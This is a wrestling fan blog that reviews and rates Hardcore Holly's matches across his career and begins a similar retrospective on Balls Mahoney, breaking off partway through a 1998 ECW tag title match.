Shawn and Diesel split up and we needed champions. Holly and Tatanka start things off with Tatanka hitting a side slam for two. Holly comes back with a slam and a few dropkicks as this is going nowhere so far. Off to the Kid vs. Bigelow, with the big man running over both of the smaller guys with ease. Bigelow LAUNCHES Kid into the air but gets caught in a rana to send Bam Bam rolling.

Back to Tatanka who whips Kid into the buckles a few times before it’s off to Bigelow to pound on the small guy some more. In something that actually impressed me, Kid backdrops Bigelow to the floor. Both small guys try top rope cross bodies but they escape and dropkick the heels together. Things settle down with Tatanka beating on Holly for a LONG time. Bigelow comes in, allowing Tatanka to distract the Kid. Holly goes to the corner to find no partner and Bigelow splashes Bob.

Holly gets beaten down so badly that he goes to the wrong corner and tags in Tatanka. Thank goodness this isn’t the Attitude Era because it probably would have been legal in some of their matches. Tatanka comes in for more beating on Holly until Bob FINALLY gets in a clothesline for the hot tag to the Kid. Everything breaks down and Kid is LAUNCHED to the floor by Bigelow. Bam Bam loads up the moonsault but Tatanka accidentally hits the ropes to knock him to the mat. Somehow that’s enough for the pin and the titles for the Kid.

Rating: C+. This went nearly sixteen minutes which was just too long. It’s quite good but it would have been great if they cut off five minutes or so. Those launches by Bigelow were awesome looking as Kid continues to be an excellent seller of moves like those. The idea was that it was all Bigelow’s fault, even though Tatanka is totally to blame for Bigelow crashing like that. The Gunns would win the titles back the next night on Raw, making this whole thing pretty pointless.

The rise wouldn’t last long as Holly would have this match at Summerslam 1995.

Hunter Hearst Helmsley vs. Bob Holly

This is the future boss’ PPV debut. Helmsley is the stuck up blue blood here so he walks around with his nose in the air. Holly takes him down with some armdrags but gets in a cheap shot to Bob’s head. Holly comes back with some kicks in the corner but runs into a knee to the face to put him down. Helmsley chokes away in the corner before hitting a HARD whip across the corner. A backbreaker gets two and a Flair knee drop gets the same.

We go split screen to see the British Bulldog arriving but he has nothing to say. Helmsley hooks an abdominal stretch but has to hiptoss Holly over the top after he counters. Holly comes back with some dropkicks and some jobber level offense including a backdrop. He tries a second one though and gets caught in a Pedigree for the pin.

Rating: D. Well he had to get better after something like this. HHH didn’t look like anything of note but the Pedigree was a good finisher. It was actually his second finisher as he started with a Diamond Cutter but changed it quickly into his run. Holly would also completely change his character in coming years until it finally clicked with the hardcore character.

Holly would be used to put over a string of debuting wrestlers, including Justin Hawk Bradshaw and this man, on Raw, April 1, 1996.

Bob Holly vs. Mankind

Mankind takes over to start and hammers away in the corner before hitting a running knee to the head. Holly fires off some right hands but gets elbowed in the head. The dropkick puts Mankind down and a cross body puts him on the floor. Mankind sends him into the barricade to take over before heading back inside for the Mandible Claw for the submission. Basic dominance.

Here’s another match from Thursday Raw Thursday on February 13, 1997.

Headbangers vs. Bob Holly/Aldo Montoya

Montoya is more famous as Justin Credible. We see some clips of some WWF guys on a country music show. Road Dogg got to sing his song on there and Hillbilly Jim played some guitar. Also there was a “match” with the Godwinns vs. Jarrett/the host. Who thought this was a good idea for a match? Mosh vs. Holly to start us off. Holly doesn’t so much do things well as much as he doesn’t do things well.

In case you can’t get it, this is a terribly boring match. It’s not that it’s bad but there’s no point to having it and yet it’s here anyway. We’re talking about Shawn Michaels anyway which is far more interesting so that helps. I mean really, does anyone want to watch these four guys have a match? The announcers aren’t paying a bit of attention to this which I can’t blame them for at all.

The Headbangers hit a double Gordbuster on Holly as they take over. Yeah I don’t care about this match at all either. The idea is that Shawn might have to have reconstructive surgery. In reality the knee was slightly injured but he could have gone without the surgery but that would have meant losing the title at Mania which he just wasn’t going to do.

We might have talked about this match for 20 seconds combined of four and a half minutes. Thrasher misses a moonsault and it’s off to Montoya. We’re talking about Brett Favre now. I can’t escape this guy. Finally the Headbangers win with a powerbomb/leg drop combination. Sunny says Mosh and Thrash just won. Even she wasn’t paying attention.

Rating: D. The match was ok I guess but at the same time this was one of those times where no one cared in the slightest and everyone knew it. WWF in 97 was just bad at some points and this is one of them. Who in the world thought this was something people would want to see? Bad match, but now let’s get to something that matters.

In 1998, Holly would become Bombastic Bob, one half of the New Midnight Express. They had a chance to win the NWA World Tag Team Titles on Raw, March 30, 1998.

NWA Tag Titles: New Midnight Express vs. Headbangers

Pretty sure this is the final appearance of the titles or the NWA on Raw. Cornette sits in on commentary. He has Dan the Beast Severn with him as a bodyguard. The Bangers mash up everyone here and I apologize for that awful joke. We get down to an actual match and the Express takes over. Cornette rants about how awesome Severn is and at the time he’s the NWA Champion. DX is going to introduce another member tonight.

Bob beats on Thrasher for awhile as this needs to end. Like I said this was the last mention of the NWA tag titles but Severn stuck around for awhile. To be fair though there were far too many factions around at this point so they needed to drop a few of them. Hot tag brings in Mosh and everything breaks down. A Rocket Launcher to Mosh gives the Express the titles.

Rating: D+. Total mess here but thankfully this ended it. Not much of a match at all but the point was to make Severn the star which they would do after the match. He would be world champion for like 4 years or something and dropped it like a year from now. He would also be the last champion before TNA got the rights to the belt. Notice that I’m not talking about the match at all. Should tell you something.

In late 1998, Holly would finally find the character he was looking for when he became Hardcore Bob Holly. This put him right in the middle of the hardcore division, earning him a shot at the Hardcore title at St. Valentine’s Day Massacre.

Hardcore Title: Al Snow vs. Bob Holly

The title is vacant coming in due to the champion Road Dogg being injured. The brawl is on to start with Snow scoring with a quick chair shot. They head into the crowd with Snow in control until he gets slammed down onto some steps. Holly blasts him in the face with a fire extinguisher and breaks a glass jaw over Snow’s head, only to be sprayed down by the fire extinguisher as well.

They head backstage with both guys being thrown into doors until Snow pelts a trashcan at Holly. Bob comes back with a beer case and they fight outside where it’s 40 degrees at most. Holly is rammed head first into the side of a truck and they head over to the fire lane with Holly breaking a no parking sign over Al’s back. Snow seems to be laughing as Holly gets two. They head over to a wall and then a fence with Snow shouting at Holly for turning on him by leaving the J.O.B. Squad.

A stop sign to Snow’s back knocks him onto the banks of the Mississippi River but Al knocks him into a wheelbarrow. They fight over to some trees and closer to the water with Holly hitting him in the head with something made of metal. Snow comes back with some kicks and choking on the dirt before Holly is thrown into the water to fire up the fans in the arena. Holly comes back by sending Snow into a tree before Snow comes back with shots to the kidneys. They slug it out even more with Holly wrapping him up in some chain link fence for the pin and the title.

Rating: D+. This is one where you individual taste may vary widely either way. The match was definitely more of a spectacle than a contest which is fine, but if that’s not your thing then you were going to hate this. These two would have more and more of these insane fights which were very hit or miss. It wasn’t bad but it was only for certain tastes.

Later in the year, Hardcore would get a new partner, his cousin Crash. They pair would get a Tag Team Title shot against the Rock N Sock Connection on Raw, Octber 18, 1999.

Tag Team Titles: Hollies vs. Rock N Sock Connection

Mankind is upset at Rock for allegedly throwing his book in the trash and is sitting on the steps instead of getting on the apron. The cousins double team Rock to start until it’s Crash taking over. Rock’s ribs are banged up and the challengers are all over them as Mankind looks over his shoulder into the ring. Hardcore comes in and kicks at the ribs before a dropkick gets two.

A suplex puts Rock down and Hardcore heads outside to call Mankind worthless. Crash puts on a sleeper as Mankind has taken off his mask. Rock fights back with a Samoan drop and Mankind stands up on the steps. Some right hands put the challengers down and a DDT gets two on Crash. Hardcore dives into a Rock Bottom but HHH comes in and Pedigrees Rock with Crash distracting the referee, giving Hardcore the pin and the titles.

Rating: D+. This didn’t have the time to go anywhere and was much more about the angle than anything else. This also gets the Tag Team Titles back down to earth as there’s almost no way Rock and Mankind could lose to any regular team when they’re on the same page. Not a good match or anything but the energy was there.

Holly would have some regular matches in the next year, including this one from Raw, June 5, 2000.

King of the Ring Qualifying Match: Hardcore Holly vs. Faarooq

It’s a brawl to start of course with Faarooq pounding Holly down and getting two off a shoulder block. Holly is sent to the floor but referee Teddy Long holds Faarooq back. A clothesline gets two more for Faarooq back inside but he doesn’t seem too hurried to pin Holly. They head back outside with Holly being whipped into the barricade, followed by more standing around. Back in and Holly escapes the Dominator and hits a Falcon’s Arrow for the pin. Nothing again here.

Here’s a higher profile six man tag from June 4, 2001 on Raw.

Dudley Boys vs. Hollies/Kurt Angle

Six man tag here. Hardcore and Kurt have a quick argument due to the whole severely broken arm Kurt gave Hardcore a few years ago. D-Von and Hardcore start but Spike comes in before there’s any contract. Kurt wants to come in but gets decked quickly and it’s back to D-Von, giving us two tags before there was any contact between the legal men. We get going and D-Von hits a powerslam for two.

The fans want tables but that would be a DQ here, so do they want the Dudleys to lose? Actually who are the faces here? The Dudleys want to put Molly through a table which is hardly a good guy action. Hardcore beats on Spike for a bit, including the punt to the “abdomen”. Off to Crash for such a short time that I didn’t see him do anything. Back to Hardcore who hits a suplex for two.

Crash comes in and there’s a distinct lack of Kurt in this, which I think is the point. Spike manages a tag to Bubba but the fans miss it. Kurt does get in and Spike GOES OFF, until Hardcore gets in a shot and Spike gets killed by a German. Spike blocks a superplex and hits a double stomp off the middle rope.

Double tag brings in Bubba and Hardcore and a Bubba Bomb puts him down. Crash takes a Samoan Drop and Hardcore takes a Doomsday Device. Kurt pops in for a German on Bubba but the moonsault misses. Hey Kurt. WHAT’S UP??? Bubba calls for a table but it’s a 3D to Crash instead. A quick Angle Slam pins Bubba though.

Rating: C. Again this feud is just kind of fun. There’s no main event or title implications to it but the feud works very well. It’s well done and the feud makes perfect sense. For some reason, that just can’t be done today. It seems that everything has to be part of a bigger purpose and a bigger story. Nothing can be a small and self contained story anymore.

We’ll jump ahead a good bit here as Holly wouldn’t do anything in 2002 but Brock Lesnar would break his neck late in the year, putting Holly out for over a year. He would return wanting revenge though, earning him a WWE Title shot at the 2004 Royal Rumble.

Smackdown World Title: Brock Lesnar vs. Hardcore Holly

Holly jumps Lesnar in the aisle and sends him into the post because he wants to break Lesnar’s neck. We get a bell and Holly misses an elbow off the top to give Brock control. They head to the floor where Holly’s back is rammed into the apron and Lesnar hooks a reverse body vice back inside. That goes nowhere so Brock hits a Shell Shock for two and it’s right back to the hold.

We shift to a bearhug and then one of the most wicked overhead belly to belly suplexes you’ll ever see. Off to a kind of rear naked choke by Lesnar to keep things dull. Holly makes his comeback with the dropkick and hits the Alabama Slam but goes for a full nelson and revenge instead of the title. Holly hooks the hold and goes to the floor with it but has to break the count. The F5 hits a few seconds later to complete the inevitable.

Rating: D. This was Brock Lesnar defending the world title against Hardcore Holly on pay per view. If you can’t figure out why this got the rating it got, I can’t help you.

Holly would come back down to earth after this and do almost nothing for the rest of the year. He would form a few tag teams over the next year, including one with Charlie Haas. The pair would get a Smackdown Tag Team Title shot at Judgment Day 2005.

Smackdown Tag Titles: MNM vs. Hardcore Holly/Charlie Haas

MNM have the belts here of course. Melina runs her mouth and yet says nothing at all. Amazing how so many of the Divas do that. Why in the world are Holly and Haas teaming together? Oh that’s right: the tag division was atrocious at this point. As in worse than it is today. Nitro (Morrison) vs. Haas to start us off. Key lock by Nitro and Haas is like “boy are you trying to wrestle me” and sends him to the floor.

Arm work by Haas including a HARD arm drag. Off to Holly vs. Mercury now. Oh dear this is going to be bad. Holly gets his one move, the dropkick, for two. Allegedly low blow pops the crowd a bit but Mercury gets a hard chop to take over. Scratch the taking over part as they’re going to chop it out a bit. Alabama Slam is set up but Haas distracts the referee for some reason, allowing Nitro to kick Holly and shift momentum.

Nitro hammers away on Holly and I wonder how Holly feels that his student is 10x the star that Holly ever was. Mercury back in and this is more or less shouting WE SHOULD BE ON SMACKDOWN! Chinlock goes on to waste some time. Holly manages to get a full nelson slam and…..and….my goodness it’s a HOLLY chant! Jesse Ventura must have poisoned this crowd and taken over their heads. That has to be on the next season of Conspiracy Theory.

Haas comes in and clears house, sending both guys to the floor and hitting a big dive to take both of them out. Melina tries to trip up Haas but she gets sent to the floor. Haas cleans house but can’t get an exploder suplex. Haas has the pin but the referee is distracted. Holly apparently stepped out for doughnuts or something as MNM hits the Snapshot (flapjack/DDT combo) for the pin to retain.

Rating: B-. Considering who was in there, this was a miracle. The crowd was INTO this, despite it being more or less an extended TV match. Haas and Holly would of course never team again but hey I can let that slide. At one point Tatanka and Matt Hardy were a team. Are you starting to see how bad this division was? Anyway, shockingly good match here and a hot crowd on top of that.

Holly would head to ECW as one of the top heels the following year. His major feud was with Rob Van Dam, including this Extreme Rules match from ECW on September 26, 2006.

Rob Van Dam vs. Hardcore Holly

Extreme Rules. Van Dam takes over to start and sends Holly into the corner. A superkick puts Holly down but it’s time to pose before Van Dam follows up. Out to the floor they go but Van Dam’s posing gets him in trouble again. Holly gets draped over the barricade and there’s the spin kick to the back. Van Dam loads up a table to the crowd’s delight but Holly blasts him in the back and sends him into the steps to take over.

Van Dam fires off more kicks and they head back inside, only to charge into Holly’s boot in the corner. A back elbow to the face puts Van Dam down and Holly goes to the apron for a suplex onto the aforementioned table. The suplex hits and we go to a break, coming back to see a MASSIVE gash in Holly’s back. That is sick looking and he would have a scar for the rest of his WWE career.

Holly sets up a chair in the middle of the ring and drops Van Dam’s throat across the chair for two. With the chair over Van Dam’s face, Holly drops a middle rope leg for another two. There is blood all over Holly’s back. Van Dam comes back with a suplex onto the chair and blood SQUIRTS out of Holly’s back. That is freaking SICK. There’s the monkey flip and you can tell Holly is having to land awkwardly. The top rope kick puts Holly down and Van Dam gets the chair. There’s the skateboard dropkick into the corner and Holly is looking dead.

Rolling Thunder onto the chair onto Holly gets two. Van Dam tries another monkey flip but gets powerbombed down onto the chair for another close two. This is good stuff. Van Dam puts the chair on Hardcore’s chest and loads up the Five Star, but Holly throws the chair at his face on the way down. THAT gets two and the fans think this is awesome. Alabama Slam is countered so Holly gets the chair. However, YOU CAN’T HOLD A CHAIR IN FRONT OF VAN DAM! Van Daminator sets up the Five Star to finally beat Holly.

Rating: B+. That’s partially for the guts Holly had on display here. Take that either figuratively or literally as both are appropriate. This is easily Holly’s best match ever and one of the best matches that aired on this show. Really good stuff here and the cut on Holly’s back is insane.

This run would actually get him an ECW Title shot at December to Dismember.

ECW World Title: CM Punk vs. Bobby Lashley vs. Test vs. Hardcore Holly vs Big Show vs. Rob Van Dam

Now keep in mind, Punk and Lashley were more or less worthless at this point, so the only two legit main event guys you have in there are RVD who was hated by the company at this point and Show who didn’t care as he was leaving in 48 hours. RVD and Holly start. Remember that as soon as each pod opens up, the person comes out with a weapon which I’ll get to as each pod opens.

Holly is booed out of the freaking building. Naturally Vince will insist that it’s because of how great a heel he is or whatever. So we have to watch Holly and Van Dam for five minutes. Oh joy. The entrances took almost ten minutes mind you. The fans are dead here by the way. We get Rolling Thunder on the cage, which is impressive but we’ve seen it before.

They’ve managed to make the Elimination Chamber boring. That’s just impressive. Note: another Punk chant goes up. I can’t emphasize this enough: PUNK IS OVER. In third is Punk and his chair to a freaking ERUPTION. It’s a shame that he didn’t have a freaking chance to win here. And Van Dam kicks the chair into him so he’s down 30 seconds in.

Ok to be fair, they’re the two most over guys in there so that’s ok I guess. Van Dam is bleeding. Apparently you can get pins outside on the cage now. That’s new I think. Heyman is the evil GM here in case you didn’t know. Punk is getting destroyed by Holly here in case you weren’t sure.

Also Punk would have his first loss in the company to Holly in about a month with the justification being that Holly was the bigger star and should go over. Again: if it’s not Vince’s idea, it’s not a good idea. In fourth is Test with a crowbar. Naturally he nails Punk with it. This is stupid. Test and Hardcore Holly are in the MAIN EVENT OF A PAY PER VIEW.

The idea here is that the heels are all working together which is completely pointless considering the idea of the match but that can’t be Vince’s idea. Heyman “booked” this remember? And then Van Dam hits this Five Star and Punk is gone. Yep, the most over guy in the match is out first while Test and Holly get to stick around.

Test puts Holly out ten seconds later with a big boot. It was only a two but the referee calls it three. The announcers and fans are confused but since this show isn’t for the fans it doesn’t matter. Van Dam goes up on top of Big Show’s pod but a chair shot puts him down. Test hits a big elbow off the pod…and Van Dam is out. Let’s see. Why is this stupid? Number one, the most over guy left is Big Show.

Second, now THERE’S NO ONE FOR TEST TO FIGHT, so it’s just dead time now. Third, you had freaking TEST beat RVD. We’re still just sitting around after two replays of the elbow and just waiting on ANYTHING to happen. The fans have completely turned on the match at this point and don’t care at all. Thankfully the next guy in is Lashley.

He gets NO pop at all. Heyman’s security try to hold him in the pod, but using the WOODEN table in the pod with him, he breaks the STEEL chains on top of the pod. ARE YOU KIDDINS ME??? The table is still in the pod mind you so it’s not like it’s even being used. They keep ramming Test into the Plexiglas to set up Lashley vs. Show.

Yeah, that’s what this whole thing is supposed to end with: the massive showdown between Show and a heavily muscled guy. I know I’ve said it before, but Vince has to have repressed homosexual desires towards musclemen. I mean really, is there any doubt of it at this point? The fans HATE this mind you.

A spear puts Test out with a minute and a half left until Show comes out. In other words, we have nothing to do but wait for the time to run out. You might as well quit reading now as you know exactly what’s coming. Show comes in with his barbed wire ball bat and naturally he gets in no offense as it’s ALL Lashley here. He avoids the chokeslam and they slug it out. Lashley is terrible in the ring at this point mind you, so this is even more torture. And he wins it with a spear. The main event is over two hours and five minutes into the show.

Rating: D-. This was just completely ridiculous for reasons I’ve already gone into. For another thing, SABU, the guy that has somehow made a whole career out of doing stupid stunts in a ring, is left out here in favor of Holly. Are you freaking KIDDING? This was just freaking dumb and nothing more than Vince deciding that he’s smarter than the fans once again.

After a few more months on ECW, it was back to Raw for a feud with rookie Cody Rhodes. Then they hooked up and got a Tag Team Title shot because that’s how wrestling works. From Raw, December 10, 2007.

Raw Tag Titles: Hardcore Holly/Cody Rhodes vs. Lance Cade/Trevor Murdoch

Dusty is out here too so you know this is going to be a title change. Cody’s team is challenging. Cade and Cody start us off as Dusty is at home talking a lot. He really was good at what he did and the one biggest thing about him: you can never say he was boring. He paid attention and had insight about EVERYTHING. Cody is very much a rookie here and after he gets beaten up for awhile it’s a double tag and Holly cleans house. Everything breaks down and the Alabama Slam gives Rhodes and Holly the titles. Dusty comes in to celebrate with them.

We’ll wrap it up with Holly’s one night only TNA appearance at….well at One Night Only: Hardcore Justice 2.

Aces and 8’s vs. James Storm/Magnus/???

It’s Brisco/Knux/Doc here and this is under hardcore elimination rules. Storm’s surprise partner: Bob “Hardcore” Holly. Holly has a big chest/shoulder tattoo now which screams mid life crisis. He’s in jeans and sneakers here as he starts with Knux and stomps him down in the corner. Off to Brisco who gets kicked between the legs before it’s off to Storm. The fans are more fired up for this match than they’ve been for almost anything tonight.

Storm hits a quick running enziguri in the corner but gets caught in the back by Doc who comes in off a tag. James knocks him down by like a superstar knocking down a big enforcer before bringing in Magnus. They go to the floor for a bit until Magnus gets caught in the wrong corner. Brisco drives shoulders into the Brit’s ribs before it’s off to Doc for right hands. Magnus is crushed by a corner clothesline and it’s back to Knux who gets two off a side slam.

Brisco hooks a cravate followed by a chinlock before it’s back to Doc for a snap suplex. Magnus escapes a chokeslam and a double clothesline puts both guys down. Hot tag brings in Storm to face Brisco as things break down. It’s off to Holly with what looks like a pipe to clean house, only to have Knux hit a big boot to slow him down.

A powerbomb is countered into the Alabama Slam to eliminate Knux but Brisco rolls Holly up for a quick elimination. Magnus blasts Brisco in the head with a trashcan lid and gets a pin off a falcon’s arrow, only to walk into a chokeslam from Doc to get it down to one on one. Doc blasts Storm with the trashcan lid for two but spends too much time boasting, allowing Storm to hit the Closing Time and Last Call for the final pin.

Rating: C. This was nothing of note and I don’t think anyone bought Storm as being in any danger at all. Hardcore Holly as a surprise makes sense on a show like this but he’s a fifty year old man who never meant much of anything in the first place. This was by far and away the second best match of the night so far.

Hardcore Holly is a guy that was around forever and never got that high up the card, but he was good in his role. He was able to have a watchable match and had an awesome dropkick. It helped that he was easy to hate and looked like a tough guy. You can’t be in the WWE for fifteen years and not be someone worth keeping around.

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Wrestler of the Day – June 21: Balls Mahoney

Time for some ECW today with Balls Mahoney.

Mahoney got his start in the World Wrestling Council down in Puerto Rico. Here he is in his first gimmick against Carlos Colon on March 11, 1989.

Universal Heavyweight Title: Carlos Colon vs. Abbuda Dein

Dein is Palestinian and the Puerto Rico Heavyweight Champion, putting this between late February and mid May. They slug it out before heading outside to trade chops. Colon nails him in the head with the bell before hammering away at the forehead. An atomic drop nearly knocks Dein into a fan before Colon slams him on a stack of wood. Back in and a bloody Dein gets two off a backbreaker and a DDT gets the same.

A few foreign object shots puts Colon down followed by a legdrop for two more. Dein nails a swinging neckbreaker but still can’t get the pin. Colon blocks a Vader Bomb with two knees to the chest before kicking Dein low. He bites Dein’s open cut in a disturbing visual but runs into a boot, setting up Dein’s camel clutch. That goes nowhere as Colon quickly escapes and grabs a backslide for the pin.

Rating: C-. Not a bad brawl here but Dein wasn’t the most interesting heel in the world. I’ll give him this though: it took me a few looks at him to see that it was Balls Mahoney. The match was nothing special but it was good for a fairly big time title defense and the fans seemed to love Colon.

After a few years on the independent circuit, Mahoney got a few WWF jobbing spots, including this one on Superstars, December 26, 1992.

Virgil vs. John Rechner

They trade arm holds to start as Jerry Lawler wants to know why he isn’t in the Royal Rumble. Virgil grabs a quick backdrop and an atomic drop. A middle rope clothesline sets up a Russian legsweep to give Virgil the pin.

After a few years in SMW (which is really hard to find individual matches from), Mahoney would appear at In Your House 5 as Xanta Claus, Santa’s evil brother from the South Pole who stole presents from children. He sold out to Ted DiBiase, proving that even SANTA CLAUS had a price. Here’s one of his only matches from some point in December 1995.

Xanta Claus vs. Scott Taylor

DiBiase talks about finding his Million Dollar Champion, who would wind up being Steve Austin. Xanta runs Taylor over to start and chokes a lot before nailing a sambo suplex. The camel clutch ends Scott in a hurry.

Mahoney would finally head to ECW where he achieved his greatest fame. Here’s one of his earlier matches at Cyberslam 1997.

Balls Mahoney vs. Stevie Richards

Mahoney likes leather it seems. Uh…yeah. Use your imagination here people. It’s BWO Stevie here. A little trivia here is that Rob Feinstein, as in the RF in RF Video and a former owner of ROH is playing the Syxx (X-Pac) parody of 7-11 here. Balls has short hair here. He must trim them. The fans aren’t sure who they like here but it seems to be Stevie. I think the BWO is face here but it’s kind of hard to tell in the ECW Arena.

Stevie uses speed to take over, likely just offering Balls some to get him down. Off to an armbar now as the arena flashes his chest to the fans. Oh dear. Fujiwara Armbar now by Stevie (named after Mr. Fuji if you’ve been curious as to that for some odd reason). Balls pounds away for a bit and then it’s right back to Stevie’s armbar. Ten punches in the corner and then Stevie climbs the ropes backwards and rubs his tights in Balls’ face. So he wants Balls around his….never mind.

Another clothesline by Balls gets two. Balls has next to no offense outside of clotheslines and punches. He tries a spinwheel kick with Richards on the apron and yet he hits the floor before Richards. As in like 5 seconds before Richards. Stevie chills on the floor for a minute or so until Balls drags him back in. Middle rope elbow has Stevie in trouble.

This is boring if you couldn’t tell as we’re at about 8:30 so far. Yes, these two get eight and a half minutes. Balls gets a modified atomic drop (more like an elevated punch to the balls, thereby making Stevie’s voice elevated) and makes fun of the BWO. Top rope leg drop misses and it’s a Stunner by Stevie to give him control for all of half a second. Powerbomb and a superkick miss so Stevie kicks him in the balls and then the chin to end this.

Rating: D-. See, this is where the problems came from for ECW. In short, the matches aren’t that good. The characters are ok and the stories are more developed, but at the end of the day the wrestling just wasn’t there for the most part. They had some good talent, but a lot of the time it was a guy that punched a lot and had a finisher and that’s about it. They knew no basic stuff and it was glaringly obvious at times. Also, this getting nearly 13 minutes is a bit much.

And another early one from Terry Funk’s Wrestlefest, which was co-promoted by WWF and ECW.

Balls Mahoney vs. Bubba Ray Dudley

MAJOR miscommunication in there somewhere as this is originally announced Sandman vs. Balls. Bubba runs out instead during Sandman’s entrance and is introduced as Mahoney. Whatever. Sandman’s entrance of course takes forever. Joey takes shots at the announcer and he’s exactly right.

Sandman takes some cane shots from Bubba and here’s Balls. Injury I’m guessing. The announcer is told point blank that this is no contest. Naturally he says no disqualification. This guy is AWFUL. Bubba tries to leave and Balls calls out Bubba and that’s how the match starts. Bubba says no way and Balls threatens the referee to start the match or get a chair shot.

Naturally this is No DQ. So I think the miscommunication earlier is just that the announcer sucks. Bubba dancing is funny stuff. We’re on the floor now with Bubba in control. There’s not much to say here as it’s pretty bad. Bret and Foley are going to have to save this thing.

Bubba takes a beer to the face. Sandman slips Balls a chair. I’ve heard of tripping balls but slipping balls? Sandman looks WASTED. I mean he is gone. Balls ducks a chair and hits two bad cane shots and then one good one for a pin that looked like two. Sandman takes him out instead.

Rating: F+. Just a total mess here and the announcing threw everyone off beyond belief. This was bad anyway as no one wanted to see just Bubba. The Dudleys at this time were a unit and just like today when you took one apart they fell apart completely. This was by far the best of the night.

Next up, Cyberslam 1998 in one of Balls’ many tag matches against the Dudley Boys.

Dudley Boys vs. Balls Mahoney/Axl Rotten/Sandman

Rotten and Mahoney come out in like a minute. Sandman’s should take roughly four….except he’s coming through the entrance like a normal wrestler. I’m not sure what to make of that. Somehow the entrance still takes nearly five minutes. Bubba is still a country hick and he talks down to Sandman a bit. He wants to wrestle so he gets caned in the head.

The brawl begins of course and Big Dick (the third Dudley) can’t be hurt by kendo stick shots. Instead he hits a chokeslam to Sandman and pounds away a bit. This is one of those matches where it’s just a wild brawl with no real coherence or anything like that. The Dudleys are in control here other than D-Von who is having issues with Axl. Balls hammers on Bubba as well as Sandman crashes to the floor. Oh that was an “elbow drop”. Got it.

Bubba vs. Balls in the ring at the moment. Superkick puts the future Bully down but Bubba manages a superplex of all things. We’ve got a cheese grater to the head of Rotten and he’s busted now. D-Von is beating on him now. There’s no tagging or semblance of order if for some reason you’re confused and were expecting some.

Mahoney is thrown into the crowd for a bit. All three Dudleys put him on a table while his partners are in the ring and down. Bubba goes up on some stage to dive off…and here’s New Jack. He clocks Bubba with a chair and dives onto Balls instead. Spike Dudley and Kronus are in the ring now and it’s a 9 man triple threat tag team match now. Sure, why not?

Dudley Boys vs. Balls Mahoney/Axl Rotten/Sandman vs. Spike Dudley/John Kronus/New Jack

New Jack’s song plays throughout the match even though Spike and Sandman are the only guys in the ring. Spike gets a bunch of two counts off various small person offense. Sandman goes to the floor but Spike misses a baseball slide. Kronus is busted. Balls is busted. You can make your own jokes there. A standing version of the move that would become known as What’s Up hits New Jack.

The most famous combination of the Dudley Boys sets for the 3D on New Jack but Jack falls down. The big brawl is still going here but it’s far slower. Granted they’ve been fighting for over ten minutes, but why are the new guys so tired? Kronus and Sandman both work on Big Dick. Lucky. It’s table time but it’s not set up. Pretty much just random punches with an occasional weapon being used.

Mahoney gets a belly to back suplex on Spike and sets for a moonsault through the table. Spike pops up and gets something like a tornado DDT through the table to Balls. Axl hits a REALLY inverted reverse DDT to eliminate Spike’s team. Yes this is elimination now. Bubba calls for the 3D on Sandman but the partners interfere. Something resembling a Stun Gun onto a chair is enough for Sandman to pin Bubba and end this.

Rating: D+. I still don’t like these things but at the same time this wasn’t as bad as some of these got. The biggest issue of all is the time, as this ran nearly 20 minutes. Far too long but they kept it mostly entertaining. The extra three guys coming in helped as it energized things a bit. Not horrible but nothing we haven’t seen a few million times already.

Mahoney would form his most successful tag team with Axl Rotten, collectively known as the Hardcore Chair Swinging Fraks. Here’s one of their tries at the titles from Wrestlepalooza 1998.

Tag Team Titles: Hardcore Chair Swinging Freaks vs. Lance Storm/Chris Candido

Candido and Storm still hate each other. Before the match Candido goes to the back and comes back out to his own music so he can strut along the apron. They get in an argument over whose name is listed first in their entrances. Chris insists on some big match intros before starting with Rotten. Some armdrags put Axl down but he comes back with a takedown. Off to Storm who gets his arm cranked on by both Freaks but Balls misses a splash in the corner.

Back to Axl who drops an elbow on an elevated Storm for two. Storm comes back with a spinwheel kick but Candido tags himself back in, much to Lance’s annoyance. An armdrag quickly takes Chris down and it’s back to Mahoney for an elbow drop. Some left hands in the corner have Candido in more trouble and what was supposed to be a dropkick put Chris down. Mahoney misses a charge and falls to the floor, but he catches Candido’s dive in mid air. Storm goes out to help but Axl dives onto all three guys to put them all on the floor.

Candido slaps his partner on the back and throws him to the floor for a tag but the referee won’t let Storm do the same thing. A suplex puts Axl down but Chris hurts his back and has to tag in Lance. Storm superkicks Axl down for two and Candido puts on a chinlock. That goes nowhere so Candido takes him down with a super hurricanrana for two. Axl fights back and tries a Boston crab but gets kicked off, only to have Rotten bounce off the corner and fall face first down into a low blow on Chris.

A double DDT puts the champions down and the hot tag brings in Mahoney. Candido gets caught in the corner but Sunny comes out for a distraction. Storm has to save her from Mahoney and it starts another argument with the champions. Lance dives onto Axl on the floor but Mahoney hits the Nutcracker Suite. Instead of covering though, he goes over and gets a chair. Storm hits a springboard dropkick to drive the chair into the face for a cover, but Candido breaks up the pin and steals it for himself.

Rating: C-. That’s probably high but I liked this far more than all of the other tag team messes I’ve had to sit through at the last few shows. There was at least an idea here and the stories throughout made sense, even though we didn’t need the Sunny stuff in the middle. Just have her come out with the team to start.

With Rotten injured, Balls would hook up with Masato Tanaka to challenge for the belts at November to Remember 1998.

Tag Team Titles: Dudley Boys vs. Masato Tanaka/Balls Mahoney

The Dudleys are defending. Bubba calls the Dudleys the most technically sound wrestlers in the world. He knows there’s no one in the back that can take the titles from them either. Joel says he’s got more game than Parker Brothers. The entrance is significantly shorter than usual this time. Axl Rotten is with the challengers and tells the referee to just get out of the way. The Louisiana State Athletic Commission has said no chairs, but ECW wrestlers don’t listen to commissions so let’s have a Bourbon Street Brawl.

It’s a regular tag match to start with Bubba hammering on Tanaka in the corner. It’s off to D-Von who chops away in the corner and nails a jumping back elbow to the jaw. The Dudleys make sure to go after Tanaka’s injured head before D-Von puts on a quickly broken nerve hold. Bubba comes back in with some shoulder blocks to the ribs followed by a neckbreaker for two. D-Von hammers away but Tanaka hits him low. The effect is minimal though as D-Von hits a reverse inverted DDT to take over again.

D-Von tries a People’s Elbow but stops at the last second and turns it into a headbutt. It only hits mat though and the tag brings in Mahoney. The parody was fine once from Meanie but twice in one show doesn’t hold up very well. Bubba is sent to the floor and the challengers throw D-Von on top of him. Tanaka takes both of them down with a big dive but Balls slips off the top before diving onto everybody.

Bubba heads back inside and dives down to take out the other three people. Back in and Tanaka fires off some elbows to Bubba but gets caught in a rack neckbreaker from Big Dick. Axl nails Big Dick with a chair a few times but gets hit by a wooden sign from Sign Guy. That earns him a Nutcracker Suite from from Mahoney but Gertner has a chair. He nails Mahoney in the head and does a dance but Balls is just standing there. Joey: “Gertner is going to die.” Balls misses his big swing but now all four people in the match are in the ring with chairs.

